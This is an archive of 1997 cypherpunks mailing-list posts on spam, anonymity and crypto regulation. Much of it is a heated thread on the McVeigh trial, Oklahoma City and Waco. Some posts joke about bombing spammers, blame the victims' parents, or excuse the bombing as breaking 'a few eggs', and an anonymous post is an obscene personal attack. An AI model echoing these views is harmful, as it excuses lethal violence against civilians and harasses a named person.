> > > > You may dislike > > > one of the sites linking to yours, but you really can't hijack their > > > connections and force people to listen to you who don't want to. > > > > Wrong! It's done every day in every media from newspapers to TV > > and points in between, including the InterNet. > > > I have a lot of respect for Peter's work, opinions and for his > > integrity, but my perception is that he fails to understand that > > the InterNet is a growing mosaic which can and should reflect > > *all* of life, and that his perception of what the InterNet is > > and should be somehow dictates what should and should not be > > done on the InterNet. Perhaps Peter should have wacked you with a bigger clue-stick. From alano at teleport.com Wed Jun 4 13:52:41 1997 From: alano at teleport.com (Alan) Date: Thu, 5 Jun 1997 04:52:41 +0800 Subject: [Tangent] Spam and the Unibomber In-Reply-To: Message-ID: On Wed, 4 Jun 1997, Declan McCullagh wrote: > If you banned commercial e-mail, > wouldn't it just affect legitimate > commercial transactions? That is to say, > wouldn't fly-by-night pyramid-scheme > builders still be able to spam? I would > think that if they are so untraceable > that it's hard to block their spam that > it wouldn't really matter if it were > simply made illegal. This reminded me of a thought I had this morning... If the Unibomber had actually wanted to improve his reputation capitol, he should have gane about things differently. Instead of going after college professors and the like (which only appeals to MUDers and other people failing thair classes) he should have taken on a different group. If he had issued out a Make Money Fast pyramid scheme with his PO box as one of the addresses and then sent bombs to those who responded, he would have been the hero to millions. By eliminating would-be spammers from the downline of life, he would have been the savior to millions. he would have web pages in his honor. He would have bumper stickers with such slogans as "SPAM = DEATH" made in his honor. But he blew it... I guess we can only dream of it happening in our lifetime... alano at teleport.com | "Those who are without history are doomed to retype it." From bennett_t1 at popmail.firn.edu Wed Jun 4 13:55:27 1997 From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu) Date: Thu, 5 Jun 1997 04:55:27 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320%chrisd@loc201.tandem.com> Message-ID: <3395DF62.7A63@popmail.firn.edu> Chris DiBona wrote: > > > > Okay folks...what the hell is wrong with you? First off, this whole McVeigh > Crap is a bit off topic..but we all know this. The amazing thing about the > string of posts has been that people have forgotten that He has been found > guilty of murdering quite a few people. Guilty, Guilty, Guilty. Jury of > his peers, dare I say, people like us all. Randomly selected. This is how > our system works. > > Yes there are flaws in the system. > > Yes the US govt. has it's problems in the past, present and future. > > Yes people have died because schnooks in DC have had thier heads up thier > ass. Or not. > > So whether or not you belive he did it.....how can anyone be _for_ what > _happened_. People died senselessly, I can't believe that anyone (in this > case Duncan Frissell frissell at panix.com, lets give credit where it is due) > can be so callous and , frankly, sick , to say : > > <> > As to the Children of OKC, people who turn the care of their children over > to > government employees or contractors do not place too high a value on those > children. > <> > > Are you serious? You should be ashamed that you think this way. Do you > really > think those children who died weren't cared for? You are a sick person who > should seriously consider therapy. Anyone who read this and said "Yeah!" > is > on the same plane. > > To all the people who defend blowing shit and people up to get thier point > across.... > > Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does > the > PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh > did it. > But that doesn't make blowing up children in freakin' day care all right. > Do you > understand this? There is no reason to blow up kids. It's wrong. For any > reason. > Bad. Duncan...looking over your past posts.. .I've got to wonder if you > were on acid > when you wrote this, many of your posts were fairly cozigent. But this? Do > you have > children? Any cousins who are children? A nephew or neice? Do these > children > who may be important to you have parents who "care" about them enough to > scour the planet to find a good,safe day care that isn't withing the blast > radius or > shooting range of : > > A government office. > A large corporations headquarters. > A law firm. > A post office. > A town square. > A restaurant. > A bank. > Anywhere some asshole might have a gun and go loopy. > Anywhere some asshole might have a car be drunk and go loopy. > Anywhere some asshole might have a gun and a car and be drunk and go loopy. > > If they even could, I'm someone somewhere will find a way to fuck up that > safe place. > > You get the point, I could go on....but I won't. Perhaps you should think > and read > over your posts before you post again. The only good thing (and I mean > ONLY) to > come out of the whole Mcveigh thing being discussed here on cypherpunks, is > that it has allowed me to add to my killfiles people who have for some > reason, > had a prefrontal. > > To all the dipshits who could possibly think otherwise. I should also > mention it > is an EQUALLY fucked up thing to blow up adults. > > Like my fellow Santa Clara County Resident Bill Frantz said : > > For cypherpunks this comes down to: Make code, not bombs. > > Chris DiBona > > If these parents DID care, then why in the hell WOULD they put them in a federal building? If I remember fully a past post (i forget which, and my memory ISN'T perfect) that place (the building) had been threatened by numerous attacks, and yet these ignorant parents put their kids in there. I would put my kid a regular day care. If someone blew up a regular daycare, then they ARE fucked up. He wasn't attacking a DAY CARE, his midn was on blowing up the federals in there. I'm not JUSTIFYING killing children. Who knows whether or not it will be beneficial to the anti-federal cause. Geiger gave a few examples. To accomplish some things you gotta break a few eggs (Tim May's post). Not that it's right to do it, but things happen. From bennett_t1 at popmail.firn.edu Wed Jun 4 13:58:34 1997 From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu) Date: Thu, 5 Jun 1997 04:58:34 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <199706041844.NAA20350@mailhub.amaranth.com> Message-ID: <3395E010.6C98@popmail.firn.edu> William H. Geiger III wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > If you don't want your children to get blown up don't put them in > harms way. The government *KNEW* that this building was the target of > numerious groups. They especially knew that it was a major risk on that Looks like I was right after all. > This is no different than palcing a daycare center in a munition factory > durring a time of war and then blaming the bomber pilots for blowing up > children. > > The Judge of the McVeigh case said himself in his instructions to the jury > that there was no evidence that McVeigh knew of the day care center in the > building. McVeigh was going after the ATF agents in the building (all of > which were conviently gone at the time of the bombing). > > A just where were your tears for the children that were burned alive by > the ATF in Waco or the children of Weaver guned down by sinpers at Ruby > Ridge? I guess it only ok to kill children if it's the Federal Government > doing it. > > - -- > - --------------------------------------------------------------- > William H. Geiger III http://www.amaranth.com/~whgiii > Geiger Consulting Cooking With Warp 4.0 > > Author of E-Secure - PGP Front End for MR/2 Ice > PGP & MR/2 the only way for secure e-mail. > OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html > - --------------------------------------------------------------- > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.3a > Charset: cp850 > Comment: Registered_User_E-Secure_v1.1b1_ES000000 > > iQCVAwUBM5W3749Co1n+aLhhAQEsWQP/R2nbcaI5ZgcLJRrjfoXTcDOJ8mFDzVv1 > BzDomMwafGWQw9NDAyFg1M7B31899OF0LnVrP4ezg5cRLOMUpjP7lBlKkxduBvUi > yy/37h8czmepT3ejTAvLwdFWR1uIx3B8A2t79b52XwcO2WHSpRHLruK0oAUOGWMK > Bfe2uIKzVOE= > =WigK > -----END PGP SIGNATURE----- From hayden at krypton.mankato.msus.edu Wed Jun 4 14:04:58 1997 From: hayden at krypton.mankato.msus.edu (Robert A. Hayden) Date: Thu, 5 Jun 1997 05:04:58 +0800 Subject: McVeigh In-Reply-To: <33959B0B.167E@ai.mit.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Maybe it is just me, but I think the whole McVeigh trial issues aren't about whether he did or didn't do it. it's important, but my concerns are more about the process the government used to prove it's case. It's built this huge circumstantial case, sprinkled liberally with weeping mothers and children, added with a couple of witnesses who would probably say anything to avoid execution. None of it actually proved he DID it, just that it was possible. When a person can be convicted by sympathy, twisted circumstantial evidence, and testimony given under threat of execution, you have to wonder about the _process_ in this country, and th idea of trial by an impartial body. In my gut, I think he probably did do it, but I cannot see how the prosecutors proved it beyond a "reasonable doubt". Considering the testimony that is going to be allowed for the penalty phase, I cannot forsee any verdict other than death. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: PGP Signed with PineSign 2.2 iQCVAwUBM5W4wzokqlyVGmCFAQGM1AP+L5BQeDMfXr0RQjlASHCzb0pG6oxoMbKN Lx+m2Uqttb8KGeGZcKPQpHsAAnCln/dQS9Ra0ITeLe793FZjI+pQxTo2JImwGaVJ M8toWFsWXODlke6u32Kqaj9t8meoeCPkM1BGymFC+bHEt1Nq9rEVn7Xq6Grf/C6l Hp8dU/OOC7g= =+ocg -----END PGP SIGNATURE----- Robert A. Hayden hayden at krypton.mankato.msus.edu __ -=-=-=-=-=- -=-=-=-=-=- \/_ http://krypton.mankato.msus.edu/~hayden/Welcome.html \/ From frissell at panix.com Wed Jun 4 14:13:41 1997 From: frissell at panix.com (Duncan Frissell) Date: Thu, 5 Jun 1997 05:13:41 +0800 Subject: McVeigh In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu> Message-ID: <3.0.2.32.19970604165830.0078e268@panix.com> -----BEGIN PGP SIGNED MESSAGE----- >The kids were murdered by Koresh who had the compound set alight. >I've gone over the videos we made live off CNN. There is absolutely >no doubt that the fire started in multiple places. Spoken like a man who *hasn't* seen the FLIRT (Forward Looking InfraRed Television) tapes that show the characteristic signatures of ingoing automatic weapons fire. Even the Washington Post was "troubled." Spoken like a man who thinks that if some Federal Government somewhere tries to knock buildings down with tanks and releases massive quantities of tear gas (admitted by the Federales), it has absolutely no responsibility whatsoever for whatever follows. It was just an innocent bystander. All this after an armed assault on a private dwelling. I'll have to try that some time with the Jacob K. Javits Federal Office building in lower Manhatten. I know I can count on you to defend me by saying that even though I hit the place with 20 or 30 heavily-armed troopies and then knocked a few walls down with tanks and filled the building with tear gas, nothing that happened there was my fault. Gee! Too bad about those Jews. They accidently wandered out into the middle of Poland and committed suicide all 6 million of them. Religious fanaticism can be dangerous. >If a group of people shoot anyone approaching them for any reason >whatsoever the police have an absolute need to investigate. So who did they shoot in advance of the BATF attack? >There >was nothing else the authorities could have done except prevent >Koresh from accumulating the arms in the first place. There are currently hundreds of "compounds" (probably thousands) in America that have more firearms and people than existed at Mt. Carmel (80 people. One gun per person). There are millions of households in America (some on this list) that have *many* more guns per person (20x) than the residents of Koresh's religious community had. The Feds could have done in 1993 what they've done since (Koresh wasn't the only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE. We pay them to be PEACE officers not WAR officers. WAR officers we reserve for foreigners (and Hispanic teenagers herding their goats on their own land and plinking with DANGEROUS .22 assault rifles too near the Mexican border). DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5XW9IVO4r4sgSPhAQFBVAP+LdVs5CHD5WPlvd8PNg3LLMjmQkJ2Ad+c 3pS6KqKj/KWF+j3EqjzqgGXlL6SqndrdaSEXJv52ZXo0Rm6qm2xB55U/b7CvG4oV 4f/uvSKZZcWV8+gNqQ0Vm35U4JuGtWhDqP1puO3EdlHmQfEyCbZ8Tnb4mTrz7Kwx HGXBlmCsJbQ= =uvqY -----END PGP SIGNATURE----- From hallam at ai.mit.edu Wed Jun 4 14:35:41 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Thu, 5 Jun 1997 05:35:41 +0800 Subject: McVeigh In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com> Message-ID: <199706042113.RAA15819@muesli.ai.mit.edu> > Spoken like a man who thinks that if some Federal Government somewhere tries > to knock buildings down with tanks and releases massive quantities of tear > gas > (admitted by the Federales), it has absolutely no responsibility whatsoever > for whatever follows. It was just an innocent bystander. All this after an > armed assault on a private dwelling. Give it a rest. The people inside had already murdered several BATF agents. They had every opportunity to release the children and allow them to get to safety. They had every opportunity to surrender. Since you clearly intend from your earlier posts for "whatever follows" to mean McVeighs murder of 167 people in Oaklahoma clearly it does not. The US police may be incompetent and corrupt but that does not excuse the Oaklahoma bombing nor does it in any way lessen the responsibility of McVeigh and those who encouraged him. > I'll have to try that some time with the Jacob K. Javits Federal Office > building in lower Manhatten. I know I can count on you to defend me by > saying > that even though I hit the place with 20 or 30 heavily-armed troopies and > then > knocked a few walls down with tanks and filled the building with tear gas, > nothing that happened there was my fault. If you have a duly authorised warrant from a court, the inhabitants have shot at people from inside the building and you give them two months to surrender, sure go for it. Only I think that the SAS is probably better experienced. > The Feds could have done in 1993 what they've done since (Koresh wasn't the > only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE. yeah peacefull types whose response to a visit from the police was to lie in ambush and shoot at them with automatic weapons. So are you suggesting that the police ignore the complaints of illegal ownership of firearms and child abuse? And in any case the point is that Waco does not absolve McVeigh and the militias for the blame for Oaklahoma. Phill From paul at fatmans.demon.co.uk Wed Jun 4 14:48:14 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Thu, 5 Jun 1997 05:48:14 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: > *Why is it that people of finer (?) English heritage often has a double > second name? Someone once suggested to me that it originates from having > (or an ancestor having) adopted the name of both one's 'marital' father > and one's biological father, for reasons of property inheritance, but > I never believed that one. Just curious. I believe historically this would not be the case, for obvious reasons of reputation. Today, a few English people take both their mothers and fathers names, for example, a friend of mine is William Casson-Smith, of course, not all names sound good like this, ie. Paul Bradley-Hemsley, interestingly they only sound right if the second name has one less syllable than the first. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From wombat at mcfeely.bsfs.org Wed Jun 4 15:09:27 1997 From: wombat at mcfeely.bsfs.org (Rabid Wombat) Date: Thu, 5 Jun 1997 06:09:27 +0800 Subject: Webpage picketing (fwd) In-Reply-To: <199706041504.KAA17624@mailhub.amaranth.com> Message-ID: On Wed, 4 Jun 1997, William H. Geiger III wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > In <199706041340.IAA01267 at einstein.ssz.com>, on 06/04/97 > at 08:40 AM, Jim Choate said: > > >Yes, and your point? It can't be that a specific backbone cable between > >two cities owned by the government is equivalent to the Internet in toto, > >even conceptualy. Because it is clear that such a construct is equivalent > >to the publicly funded highway running between the same cities, and you > >most definitely CAN picket on a highway easment legaly. I have seen farm > >workers in Texas do it my entire life. The Info-Highway comparison goes a > >LOT farther than most people seem to have taken it. I personaly, don't > >think we should go there in the case of communications technology. > > I think that your analogy is slightly flawed. That's one way of putting it ... :) > > While the farmers have a right to protest on the side of the road they do > not have a right to interfere with the travelers on the road. > > There is no real way you could picket on the "Info highway" as you have no > right to interfere with the packets traveling on the highway. You can > stand of to the side if you want but somehow I don't think that the > packets will be watching. :) > Not to mention that the government hasn't owned any of the "backbone cables" for many years now. Maybe Jim's on a different 'net. I've seen some strange arguements on this list over the years, but this one definately ranks. I'm in favor of the right to freedom of speech, even for Jim, but he seems to want the right to *force* everyone to listen to him *before* being permitted to listen to anyone else. Seems that Jim wants the *right* to make me listen, not the right to speak. -MarsupialMonger From jya at pipeline.com Wed Jun 4 15:12:45 1997 From: jya at pipeline.com (John Young) Date: Thu, 5 Jun 1997 06:12:45 +0800 Subject: The New War Message-ID: <1.5.4.32.19970604215403.00963bd8@pop.pipeline.com> "The New War" is Senator John Kerry's (Dem, MA) new book which examines global enemies of law and order. He cites the use of high-tech weapons, off-shore banks, and the Internet, featuring encryption, by rogue nations and organized criminals who are hiring the best and brightest lawyers, programmers, cryptographers and ex-spooks who once looked to the USG for secure careers, and who also pay top dollar for premium products and skills once affordable only by the military. He wonders how governments can compete with these new cash-flush criminals. The answer: new laws and new global arrangements. His view on global crypto is almost identical to that of Senator Kerrey (Dem, KA), Professor Denning and others who appear to be working in concert with the administration to advance global GAK, while admitting that some harm to privacy may be necessary. All nations must act in concert, Kerry says, to prevent the spread of dangerous technology. For a similar view, see Denning's synopsis of a paper on criminal use of encryption and developing technology to be published shortly: http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html We've also heard from BXA that new regulations for the Commerce Control List and EAR to bring them into accord with the Wassenaar Arrangement will be out in "a month or two." This will probably be coordinated with the issuance of similar regulations by the 33 signators of the regime. It might portend the imposition of a global GAK regime that Kerry, et al, suggest is a primary weapon in The New War. From whgiii at amaranth.com Wed Jun 4 15:27:23 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 06:27:23 +0800 Subject: McVeigh In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu> Message-ID: <199706042210.RAA23375@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706042113.RAA15819 at muesli.ai.mit.edu>, on 06/04/97 at 05:13 PM, Hallam-Baker said: >> Spoken like a man who thinks that if some Federal Government somewhere tries >> to knock buildings down with tanks and releases massive quantities of tear >> gas >> (admitted by the Federales), it has absolutely no responsibility whatsoever >> for whatever follows. It was just an innocent bystander. All this after an >> armed assault on a private dwelling. >Give it a rest. The people inside had already murdered several BATF >agents. They had every opportunity to release the children and allow them >to get to safety. They had every opportunity to surrender. >Since you clearly intend from your earlier posts for "whatever follows" >to mean McVeighs murder of 167 people in Oaklahoma clearly it does not. >The US police may be incompetent and corrupt but that does not excuse the >Oaklahoma bombing nor does it in any way lessen the responsibility of >McVeigh and those who encouraged him. >> I'll have to try that some time with the Jacob K. Javits Federal Office >> building in lower Manhatten. I know I can count on you to defend me by >> saying >> that even though I hit the place with 20 or 30 heavily-armed troopies and >> then >> knocked a few walls down with tanks and filled the building with tear gas, >> nothing that happened there was my fault. >If you have a duly authorised warrant from a court, the inhabitants have >shot at people from inside the building and you give them two months to >surrender, sure go for it. >Only I think that the SAS is probably better experienced. >> The Feds could have done in 1993 what they've done since (Koresh wasn't the >> only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE. >yeah peacefull types whose response to a visit from the police was to lie >in ambush and shoot at them with automatic weapons. >So are you suggesting that the police ignore the complaints of illegal >ownership of firearms and child abuse? >And in any case the point is that Waco does not absolve McVeigh and the >militias for the blame for Oaklahoma. > Phill - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5XoMo9Co1n+aLhhAQEkJgP+N2qUEjScW4G47KitMdrLWSU2Ta0bKmwE mD+lovhykc0V6wh+2di53QZZb4M5gaNuKXgzg/x//gunb1Wwbtk6UO0cianKteNJ egHHQ/DwBrJ7OqaAtqOidhYQ0yOLhIneMOcotLsMV2Yv/OYSawqAzq+jYKZ9oWRD lf7OIKcrZNA= =M1d1 -----END PGP SIGNATURE----- From whgiii at amaranth.com Wed Jun 4 15:30:56 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 06:30:56 +0800 Subject: McVeigh In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu> Message-ID: <199706042223.RAA23646@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706042113.RAA15819 at muesli.ai.mit.edu>, on 06/04/97 at 05:13 PM, Hallam-Baker said: >> The Feds could have done in 1993 what they've done since (Koresh wasn't the >> only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE. >yeah peacefull types whose response to a visit from the police was to lie >in ambush and shoot at them with automatic weapons. First off they did not lie in wait for anyone. They were in their home not bothering anyone. You make it seem like they were in the bushes on the side of the road and ambushed a peasefull group of BATF agents on their way to a sunday picnic. The local police had been out to the Waco compound several times without incedent. There was no reason to suspect that another vist would have gone any different. Instead the BATF went in there like an invading army with guns blazing and rightfully got their asses handed to them. >So are you suggesting that the police ignore the complaints of illegal >ownership of firearms and child abuse? Last time I looked (horror of horrors) guns are still *LEGAL* in this country. As far as child abuse there was no evidence of this other than the word of 1 disgruntaled former member of their group. Even if the *local* police felt that this complaint warented investigation all that was called for was a vist by a Human Services Case Worker not a military invasion. All this aside I guess you feel that the Feds should be able to wage military campains against its citizens just on unsbstantiated rummors. Gee where did I put that quarter? Perhaps I should call the BATF and give them YOUR address. It would be intresting to see how much you love their gestopo tatics when it's your house being riddled with bullets. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5XrMo9Co1n+aLhhAQEafwP/SOu/2I3Ut/LVyUd4gorkxWi/Rs0HtUCB T8hTUq2GmI4TSkFVSUu4MtkwQr3Um0GvX/nGHCiQe6rEdqTUzEvX+mwQtVHe2ESz risBlq9vTg2cnvxyRLXmvPVRK4B1VUv7PaELZBFfCxwDpA4F8hrv940ZdFxSEIpm UMXmAzOUzR4= =UIg8 -----END PGP SIGNATURE----- From ichudov at Algebra.COM Wed Jun 4 15:40:27 1997 From: ichudov at Algebra.COM (Igor Chudov @ home) Date: Thu, 5 Jun 1997 06:40:27 +0800 Subject: BOUNCE cypherpunks@Algebra.COM: Admin reques Message-ID: <199706042229.RAA05009@manifold.algebra.com> ----- Forwarded message from owner-cypherpunks at algebra.com ----- >From owner-cypherpunks at Algebra.COM Wed Jun 4 16:52:19 1997 From: owner-cypherpunks at algebra.com Date: Wed, 4 Jun 1997 17:52:04 -0400 (EDT) Message-Id: <199706042152.RAA01373 at www.video-collage.com> To: owner-cypherpunks at Algebra.COM Subject: BOUNCE cypherpunks at Algebra.COM: Admin request of type /\bsub-scribe\b/i at line 7 >From cpunks Wed Jun 4 17:51:59 1997 Received: from sirius.infonex.com (sirius.infonex.com [206.170.114.2]) by www.video-collage.com (8.8.5/8.8.5) with ESMTP id RAA01319 for ; Wed, 4 Jun 1997 17:51:45 -0400 (EDT) Received: (from cpunks at localhost) by sirius.infonex.com (8.8.5/8.7.3) id OAA09047; Wed, 4 Jun 1997 14:51:41 -0700 (PDT) Received: from rigel.cyberpass.net (root at rigel.infonex.com [206.170.114.3]) by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id OAA09040 for ; Wed, 4 Jun 1997 14:51:36 -0700 (PDT) Received: from toad.com (toad.com [140.174.2.1]) by rigel.cyberpass.net (8.8.5/8.7.3) with ESMTP id OAA13609 for ; Wed, 4 Jun 1997 14:50:14 -0700 (PDT) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id OAA25146 for cypherpunks-unedited-outgoing; Wed, 4 Jun 1997 14:43:54 -0700 (PDT) Received: from pathfinder.com (relay2.pathfinder.com [204.71.242.22]) by toad.com (8.7.5/8.7.3) with ESMTP id OAA25141 for ; Wed, 4 Jun 1997 14:43:50 -0700 (PDT) Received: from cp.pathfinder.com by pathfinder.com (8.7.3/SMI-SVR4) id RAA15204; Wed, 4 Jun 1997 17:43:19 -0400 (EDT) Received: from localhost by cp.pathfinder.com (SMI-8.6) id RAA03951; Wed, 4 Jun 1997 17:43:13 -0400 Date: Wed, 4 Jun 1997 17:42:33 -0400 (EDT) From: Declan McCullagh Reply-To: declan at well.com To: cypherpunks at toad.com Subject: Anonymity should be banned for speakers and vendors Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-cypherpunks at toad.com Precedence: bulk [Ray, a recent DC law school grad and anti-spam activist, is a good guy but is IMHO sadly mistaken here. Thought this might be interesting. --Declan] ---------- Forwarded message ---------- X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/ X-FC-URL: To join send "sub-scribe" to fight-censorship-request at vorlon.mit.edu Date: Wed, 4 Jun 97 17:25:36 -0400 From: Ray Everett-Church Sender: owner-fight-censorship at vorlon.mit.edu To: sameer , tbetz at pobox.com Cc: fight-censorship at vorlon.mit.edu Subject: Re: Spam costs and questions On 6/4/97 4:52 PM, sameer (sameer at c2.net) wrote: >> If Wallace were up against criminal and civil penalties if he continued to >> hide his customers' real identities, he'd give them up in a hot second. Of >> course, as soon as there was a chance of that happening, he'd get out of the >> business entirely. > > So how do criminal and civial penalties for not revealing a >customer's name protect anonymity on the internet? > Anonymity on the internet must be preserved. If you could come >up with a way to make spam illegal and preserve anonymity, I would be >very glad. Until then, I will have to oppose making spam illegal. As stated before, I have heard no convincing argument that it is in the consumers best interest to have an anonymous *vendor*. Sure it's vital that *consumers* be allowed to remain anonymous, but if you're selling a product or service, there's no legitimate reason why a business needs to remain anonymous given issues of warranties, product liability, sales taxes, etc. And in the case above, since the remailer in question is simply acting as an agent for the business, there's no question of legitimate anonymity implicated. Indeed, perpetuating anonymity for the business often times facilitates activites that constitute a breach of contract and sometimes even fraud. The whole reason to use a pro-spam anon remailer is so that you can violate your ISP usage agreement without being traceable or accountable. And if you've entered into that contractual relationship with the ISP with the *intent* to breach that contract, it's fraud. Anonymity for consumers, Yes! Anonymity for vendors, NO! -Ray ------------------------------------------------------------------------- Ray Everett-Church, Esq. www.everett.org/~everett This mail isn't legal advice. Opinion(RE-C) != Opinion(clients(RE-C)) (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org ------------------------------------------------------------------------- ----- End of forwarded message from owner-cypherpunks at algebra.com ----- From mixmaster at remail.obscura.com Wed Jun 4 15:42:28 1997 From: mixmaster at remail.obscura.com (Mix) Date: Thu, 5 Jun 1997 06:42:28 +0800 Subject: No Subject Message-ID: <199706042203.PAA11358@sirius.infonex.com> May Timothy C. Mayo's forgeries get stuck up his ass so he'll have to shit through his filthy mouth for the rest of its miserable life. o o /< >\ Timothy C. Mayo \\\_______/// // \\ From whgiii at amaranth.com Wed Jun 4 15:52:16 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 06:52:16 +0800 Subject: McVeigh In-Reply-To: Message-ID: <199706042242.RAA24013@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 06/04/97 at 03:50 PM, "Robert A. Hayden" said: >Maybe it is just me, but I think the whole McVeigh trial issues aren't >about whether he did or didn't do it. it's important, but my concerns >are more about the process the government used to prove it's case. >It's built this huge circumstantial case, sprinkled liberally with >weeping mothers and children, added with a couple of witnesses who would >probably say anything to avoid execution. >None of it actually proved he DID it, just that it was possible. >When a person can be convicted by sympathy, twisted circumstantial >evidence, and testimony given under threat of execution, you have to >wonder about the _process_ in this country, and th idea of trial by an >impartial body. >In my gut, I think he probably did do it, but I cannot see how the >prosecutors proved it beyond a "reasonable doubt". >Considering the testimony that is going to be allowed for the penalty >phase, I cannot forsee any verdict other than death. Well you would think that with all the Talk by the Feds of how overwhelming the evedence was against him that they might actually give him a fair trial. I think that there is sothing about that in the Constitution. Oh silly me I forgot they have never read it as the last copy was used by Hoover for toilet paper 30yrs ago. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5Xvy49Co1n+aLhhAQFAbAQAxFZxLS36IDf/nYso7VId4x1Ah/qUuVGJ W9AMBlLvpHRLZAkUwbQ4ZSK6ESz+fpXea0ba/mNHSaNkU2N+1x2/48AfiNv0+rlC qN4DZsiqj7RZxIX4jtxTKgcHloHPT6oLW8F89XUW0nERJIEH/JEMnYR3jnJ8us6W AWmxdxDVWmM= =GQs+ -----END PGP SIGNATURE----- From whgiii at amaranth.com Wed Jun 4 15:53:33 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 06:53:33 +0800 Subject: The New War In-Reply-To: <1.5.4.32.19970604215403.00963bd8@pop.pipeline.com> Message-ID: <199706042242.RAA24008@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <1.5.4.32.19970604215403.00963bd8 at pop.pipeline.com>, on 06/04/97 at 05:54 PM, John Young said: >"The New War" is Senator John Kerry's (Dem, MA) >new book which examines global enemies of law >and order. He cites the use of high-tech weapons, >off-shore banks, and the Internet, featuring encryption, >by rogue nations and organized criminals who are >hiring the best and brightest lawyers, programmers, >cryptographers and ex-spooks who once looked to >the USG for secure careers, and who also pay top dollar >for premium products and skills once affordable only >by the military. Well better brush off the dust on that resume. :) If the only two choices for crypto work is Organized Crime (Mob,Drug Dealers, Rouge Nations, ...ect) and Orginzed Crime (Feds) I'll have to go with the the first as they pay better and on the whole tend to be less corrupt (though morraly they are about even). - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5Xvw49Co1n+aLhhAQE9hwQAwmgSFp9Ezr7ZYSQd+NMEddADv3WGEJgC ls2tkT9X0QCFiO+1dHRKdiBWw5bSnu0uJa+TBOGEOLUiqnejBo1SsBPxi+ucE+aX Qfg7x5ZF4ck/gLR5ll6e525R1GtErFZx4/CA01YVwMcHjqCh9Nla63xoey5cN4we IVFPQQH6GDU= =zq3H -----END PGP SIGNATURE----- From shamrock at netcom.com Wed Jun 4 15:58:14 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 5 Jun 1997 06:58:14 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: On Wed, 4 Jun 1997, Chris DiBona wrote: > Do these children > who may be important to you have parents who "care" about them enough to > scour the planet to find a good,safe day care that isn't withing the blast > radius or > shooting range of : [list of public places elided] Perhaps taking your kids to day care in a downtown area is not a very good idea in the 